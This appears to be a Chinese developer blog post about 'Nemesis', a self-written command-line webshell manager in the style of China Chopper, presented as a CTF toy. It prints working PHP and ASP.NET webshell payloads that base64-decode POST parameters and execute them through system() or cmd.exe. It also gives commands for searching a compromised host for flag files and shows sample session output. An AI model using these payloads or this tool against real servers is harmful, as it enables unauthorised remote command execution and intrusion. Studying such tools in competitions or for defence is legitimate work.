Nemesis (Cli Webshell Manager)

本文总阅读量
  2 mins to read  


造轮子,命令行菜刀

P.s. 下一个轮子想用Golang写一个内网穿透B/S工具


关于此项目

玩具属性,总共也就不到500行代码

本文主要写开发过程的问题,具体使用方法及功能见:

项目地址


项目目录:

Nemesis/
    |____nemesis.py            # Manager类,主循环函数
    |____config.json           # Manager模式的Webshell列表配置文件
    |____exploit/
            |____ __init__.py
            |____exp.py        # Windows/Linux两个系统的EXP类,继承自基类BaseEXP
            |____payload.py    # http payload

程序分为两种模式:

  1. Manager Mode 读取config.json配置文件,程序入口进入Manager交互,有可选项如切换编码/shell密码,自动寻找Flag,进入交互式shell

  2. Shell Mode 单一shell模式,程序直接进入shell交互

程序架构:

exploit包中为http payload相关实现,WindowsEXP/LinuxEXP两个类,继承自BaseEXP,基类中实现了主要的发送payload等功能。生成payload函数在payload.py,根据语言生成参数化payload,为不同系统填入不同指令

nemesis.py定义了Manager类,提供了管理shell,交互式命令行等等功能


菜刀的Payload,可详见Nemesis/payload.py

ck = @eval(base64_decode($_POST[a0]));
        
a0 = @ini_set("display_errors","0");
	@set_time_limit(0);
    @set_magic_quotes_runtime(0);echo("->|");
    ;
    $s=base64_decode($_POST["a1"]);
    @system($s);
    die();
        
a1 = whoami
ck = eval(Request.Item["a0"],"unsafe");
a0 = Response.Write("->|");
    var err:Exception;
    try{
    var c="cmd";
    var e=new System.Diagnostics.Process();
    var out:System.IO.StreamReader,EI:System.IO.StreamReader;
    c.UseShellExecute=false;
    c.RedirectStandardOutput=true;
    c.RedirectStandardError=true;
    e.StartInfo=c;
    c.Arguments="/c "+System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item["a1"]));
    e.Start();
    out=e.StandardOutput;
    EI=e.StandardError;
    e.Close();
    Response.Write(out.ReadToEnd()+EI.ReadToEnd());
    }catch(err){
    Response.Write("ERROR:// "+err.message);
    }
    Response.End();
a1 = whoami

关于自动找Flag功能:

记得又一次比赛拿到shell了确花了好几分钟找flag文件在哪儿(骂),所以写了这个功能

Manager Mode下,输入flag,然后交互式输入shell index,输入盘符/目录,即可自动寻找文件名中带flag的文件,并自动读取其中内容正则匹配/(\w+\{[-\w]+\})/,成功则输出

Windows下自动寻找文件的指令

for /r c:\ %i in (flag.*) do @echo %i,说起来这还是给学校网站做渗透测试时候get到的姿势

Linux

find / -name flag.*

> python3 nemesis.py
         _   _                                   _
        | \ | |   ___   _ __ ___     ___   ___  (_)  ___
        |  \| |  / _ \ | '_ ` _ \   / _ \ / __| | | / __|
        | |\  | |  __/ | | | | | | |  __/ \__ \ | | \__ \
        |_| \_|  \___| |_| |_| |_|  \___| |___/ |_| |___/

             /* Webshell Manager */

[+]Initialize...

[*]Manager mode command:
     enter [index]                       --choose a shell to use
     set [index]:[encode | pwd] xxx      --change shells' encode or passwd
     flag                                --find flag in ctf
     exit

[*]Webshell list
[0] URL => http://127.0.0.1/shell.php   PWD =>pass   OS => win   ENCODE => gbk

@Nemesis> flag
[+]Enter index: 0
[+]Enter dir: f

[+]Flag files:
f:\flag
f:\HackTo0ls\审计\GitHack\web.jarvisoj.com_32798\templates\flag.php
f:\tim_recv_file\MobileFile\flag.py
f:\tim_recv_file\MobileFile\flag.txt

[+]Flag found in f:\flag: abc{asdasd798yh9da7yas9dy7}

[+]No flag found in: f:\HackTo0ls\审计\GitHack\web.jarvisoj.com_32798\templates\flag.php

[+]No flag found in: f:\tim_recv_file\MobileFile\flag.py

[+]No flag found in: f:\tim_recv_file\MobileFile\flag.txt


[*]Webshell list
[0] URL => http://127.0.0.1/shell.php   PWD =>ck   OS => win   ENCODE => gbk

@Nemesis>